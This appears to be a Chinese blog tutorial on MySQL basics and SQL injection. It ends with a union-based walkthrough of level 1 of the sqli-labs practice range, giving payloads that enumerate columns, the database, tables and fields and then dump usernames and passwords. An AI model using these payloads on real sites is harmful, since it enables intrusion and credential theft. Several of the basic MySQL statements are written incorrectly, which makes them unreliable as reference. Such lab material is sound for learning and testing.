mysql入门基础知识点和简单示例

web的三层结构:界面层,业务逻辑层,数据访问层。

前端服务器向服务端服务器发送一个请求(request),服务端服务器会发送一个sql语句给数据库,只要你能找到这个过程中的sql拼接的位置,sql都是可以发生的,并不一定要是网页,网页的可视化让我们更加便于理解。

一,基本语句示例--注释

1.第一种注释 --空格

 第二种注释  #

#后面的内容是注释内容

---空格 后面的内容叫注释

2.-列出所有的 数据库     show databases

3.查看某个数据库的里的所有表   show databasename;

                                                     use  tables;

                                                     show tables;或者 show tables from mysql;

4.查看当前时间   select now();

5.查看库  select  database();

6.看版本:select  version();

7.看用户:select    user();

8.查看数据路径:@@datadir;

9.查关键字   select  *from mysql.user;(带*表示查所有)

eg:一个准确的示例       select  schema_name infoemation_schema.'schemata'; 

二,实战语句分析。

1.用户输入:1 or 1 =1,实际的sql为select * from t1 where id = 1 or 1=1;也就是 select  *from t1;

2.在条件中加上’是因为要让SQL语句闭合,而且使用union之前要确定字段数,不然你的sql是错误的,就不成立,而且必须和你前面的一一对应,例如你有5列就应该如图

3.SQL注入的闭合

判断SQL语句闭合方式原理:

MYSQL数据库的包容性比较强,如果你输错了数据的类型,MYSQL数据库会自动将其转换成正确的数据类型,比如输入1)、1"、1-等,只要数字后面的字符不是闭合符的,数据库都会把你输入的错误的数据转换成正确的数据类型。

但是,若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误。

id输入的是1),那么拼接成的sql语句就是:“SELECT * FROM name WHERE id=‘1)’ LIMIT 0,1”;
按理来说这个sql语句应该是错误的,执行会报错,但是因为是在Mysql数据库环境下,它会自动把错误的数据1)转换成合法的数据1,从而使得sql语句执行成功,相同的输入1-、1"也一样。

若id输入的是1’,那么形成的sql语句就是:“SELECT * FROM name WHERE id=‘1’ '(两个单引号) LIMIT 0,1”;那么第1个单引号就和第2个单引号形成闭合,然后还剩下一个多余的第3个单引号,从而报错。

以sqli-labs靶场为例

第一关是单引号闭合,开始时,我们输入?id=1和?id=2,有回显,到是回显随数字变化,说明我们被代入了数据库,可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

爆列数?id=1'order by 3 --+

爆显示位?id=-1'union select 1,2,3--+

获取数据名和版本号,语句?id=-1'union select 1,database(),version()--+

爆表,语句?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆段名,语句?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

(9)得到内容,语句?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

4.union语句作用示例:

  • 13
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值